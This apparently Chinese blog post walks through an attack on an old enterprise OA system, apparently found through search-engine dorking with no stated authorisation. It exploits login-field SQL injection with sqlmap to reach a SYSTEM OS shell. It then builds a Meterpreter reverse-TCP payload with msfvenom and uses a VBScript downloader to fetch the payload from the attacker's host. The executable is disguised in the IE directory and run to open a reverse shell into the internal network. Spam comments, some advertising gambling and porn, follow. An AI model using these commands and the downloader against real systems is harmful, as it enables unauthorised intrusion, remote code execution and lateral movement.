某OA系统从SYSTEM权限SQL注入到内网漫游

简单的漏洞，破坏性影响。

0x01 发现漏洞

七月正值暑假，闲暇时光在百度上inurl一番，找到了一个古老的企业OA系统

IP站点，没有域名，扫过一眼，.NET流行时代的普遍漏洞浮现在脑海里——SQL注入

在用户名里输入admin’，不负期望地报了错

很明显，前后端都没有对用户的输入进行过滤，直接将’带入了SQL语句进行。初步判断，此OA系统存在SQL注入漏洞。

0x02 漏洞验证

打开BurpSuite，设置好浏览器代理，抓下HTTP请求，一气呵成。

问题参数为 txtLogin=admin%27

可将整个请求复制到 test.txt，使用sqlmap -r 来注入

sqlmap -u http://x.x.x.x/xx.aspx --forms

至此，可以确认存在 error-based、stack quires和time-based三个类型的漏洞

0x03 判断数据库用户的权限

发现SQL注入后，首先要判断权限，高权限的注入可以为后续渗透省下很大功夫

sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba

非常nice，再次不负期望地返回了DBA权限

输入以下命令，获得一个shell

sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell

NT/SYSTEM权限，时隔两个多月，复现有误，不予贴图

0x04 反弹shell 深入内网

生成一个shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe

由于环境艰难，不能直接上传文件，我选择了用vbs脚本来下载木马到服务器

代码如下：

Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
'发送请求
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
'等待3秒，等文件下载
wscript.sleep 3000 
aGet.Write(post.responseBody)'写数据
aGet.SaveToFile "shell.exe",2

用echo命令缓慢地写完了vbs脚本之后，顺利运行，下载了木马

更改名字，移动到IE安装目录进行伪装

start iee.exe 运行木马

metasploit成功收到了SYSTEM权限的shell

该主机拥有内网IP，存在内网，可以互通，并且该主机作为中央数据库

此内网主机皆为VMware虚拟机

0x05 结束测试，提交漏洞

本次渗透测试成功拿到最高权限， 到此为止，不再深入。

随着攻击与防御技术的彼此攀升，程序员的安全意识逐渐提高，SQL也越来越少。

但不少粗糙的程序和古老的系统仍然存在此漏洞，此类漏洞解决方法简单，只用对用户输入参数稍加处理即可。

Tags:

You may also like...

53 Responses

  1. 王逗子说道：
    2019年9月12日 下午8:09

    很好！

    回复
  2. 戢祥说道：
    2019年9月12日 下午8:30

    牛逼，说的很有用处

    回复
  3. 郑说道：
    2019年9月12日 下午8:31

    wow 勉为其难的踩一个叭

    回复
  4. 啊 啊啊啊啊说道：
    2019年9月14日 下午10:03

    这个码打得好啊

    回复
  5. vibrating wand massager说道：
    2022年6月2日 上午6:17

    Appreciate you sharing, great blog article. Fantastic.

    回复
  6. ยูฟ่า说道：
    2022年6月3日 下午10:32

    Very good blog post.Really thank you! Will read on…

    回复
  7. blue mountain homes for sale说道：
    2022年6月4日 下午4:11

    Fantastic article post.Thanks Again.

    回复
  8. 4movierulz说道：
    2022年6月5日 下午6:21

    Great blog post.Really looking forward to read more. Really Great.

    回复
  9. auto detailing kansas city说道：
    2022年6月8日 下午8:48

    Very neat article.Thanks Again. Really Cool.

    回复
  10. judi bola psg vs real madrid说道：
    2022年6月9日 下午5:02

    Very informative blog post.Really looking forward to read more. Really Great.

    回复
  11. vibrating wand massager说道：
    2022年6月11日 上午8:18

    Thank you ever so for you post. Awesome.

    回复
  12. techyseva说道：
    2022年6月11日 下午5:21

    Very neat blog post.Really thank you! Great.

    回复
  13. nikon d5600 dslr说道：
    2022年6月15日 上午3:57

    Great blog article.Really looking forward to read more. Keep writing.

    回复
  14. diy home projects说道：
    2022年6月15日 上午4:58

    Great blog.Much thanks again.

    回复
  15. PSM certification说道：
    2022年6月18日 上午7:03

    I have been reading out a few of your articles and i must say pretty nice stuff. I will make sure to bookmark your blog.

    回复
  16. https://data.world/maybomnuocpentax说道：
    2022年6月23日 上午5:15

    Great blog article.Much thanks again.

    回复
  17. top gun maverick movie说道：
    2022年6月26日 下午5:46

    You write Formidable articles, keep up good work.

    回复
  18. usfl playoff picks说道：
    2022年6月28日 上午6:08

    Awesome blog post.Much thanks again. Keep writing.

    回复
  19. best vibe说道：
    2022年6月28日 下午9:54

    Enjoyed every bit of your article post.Really looking forward to read more. Keep writing.

    回复
  20. mix parlay piala dunia说道：
    2022年6月30日 上午12:01

    Appreciate you sharing, great blog.Really thank you! Much obliged.

    回复
  21. help veterans find jobs说道：
    2022年7月1日 上午8:37

    Very informative article post.Really looking forward to read more. Will read on…

    回复
  22. situs mix parlay说道：
    2022年7月2日 上午9:20

    Awesome blog post.Thanks Again. Awesome.

    回复
  23. company complaints说道：
    2022年7月5日 上午12:25

    wow, awesome article. Want more.

    回复
  24. android apps说道：
    2022年7月6日 上午8:10

    Very good blog.Really thank you! Cool.

    回复
  25. pleasure pump说道：
    2022年7月7日 下午8:27

    I really like and appreciate your post.Thanks Again. Awesome.

    回复
  26. auto detailing kansas city说道：
    2022年7月13日 下午5:28

    I really like and appreciate your post.Really looking forward to read more.

    回复
  27. diploma of work health and safety说道：
    2022年7月14日 上午8:41

    Fantastic blog.Thanks Again. Much obliged.

    回复
  28. empresa de reformas说道：
    2022年7月16日 下午12:48

    I love your blog. It looks every informative.

    回复
  29. Universitas Alma Ata说道：
    2022年7月20日 上午12:20

    Thanks for ones marvelous posting! I truly enjoyed reading it, you will be a great author.
    I will make certain to bookmark your blog and may come back later in life.
    I want to encourage you to continue your great work,
    have a nice evening!

    回复
  30. emergency roof repairs说道：
    2022年7月21日 下午3:38

    I really like and appreciate your article post.Really looking forward to read more. Really Cool.

    回复
  31. onlymp3说道：
    2022年7月22日 下午11:26

    Makes sense to me.

    回复
  32. judi slot online resmi说道：
    2022年7月27日 上午1:52

    Thank you for your blog. Keep writing.

    回复
  33. Slot deposit murah说道：
    2022年7月27日 上午4:48

    Great post.Really looking forward to read more. Will read on…

    回复
  34. gadgetofficials.com说道：
    2022年7月30日 上午7:00

    Thank you for your article post.Thanks Again. Great.

    回复
  35. Kurla Day说道：
    2022年8月1日 上午3:48

    Awesome blog post. Fantastic.

    回复
  36. mp3juices说道：
    2022年8月2日 上午3:10

    Thank you for your blog.Thanks Again. Awesome.

    回复
  37. europe best beaches说道：
    2022年8月3日 下午11:59

    Very good article post. Want more.

    回复
  38. porn说道：
    2022年8月6日 上午4:33

    I used to be able to find good information from your blog posts.

    回复
  39. Diet说道：
    2022年8月7日 下午4:29

    Awesome blog post.Really thank you! Fantastic.

    回复
  40. cooe说道：
    2022年8月9日 下午4:40

    Very informative blog post.Really thank you! Really Great.

    回复
  41. www.bouncykangaroopartyrental.com说道：
    2022年8月17日 下午10:58

    ivermectin for sale humans ivermectin human

    回复
  42. dlt upholstery supply说道：
    2022年8月25日 下午2:38

    I imagine so. Very good stuff, I agree totally.

    回复
  43. marine upholstery supplies说道：
    2022年8月28日 下午1:14

    How do I subscribe to your blog? Thanks for your help.

    回复
  44. mas info说道：
    2022年9月2日 下午12:53

    What a great article.. i subscribed btw!

    回复
  45. menu gator说道：
    2022年9月7日 上午7:16

    free bitcoins verdienenBitcoin for live cd11e72

    回复
  46. fachadas ciudad说道：
    2022年9月17日 上午1:12

    Absolutely written written content , regards for information .

    回复
  47. سمعها说道：
    2022年9月18日 下午4:51

    Very good info. Lucky me I found your site by chance (stumbleupon). I have bookmarked it for later.

    回复
  48. سمعها说道：
    2022年9月23日 上午8:44

    I couldn’t refrain from commenting. Exceptionally well written!

    回复
  1. 2thursday
    2022年6月18日

    3transexuales

发表回复

您的电子邮箱地址不会被公开。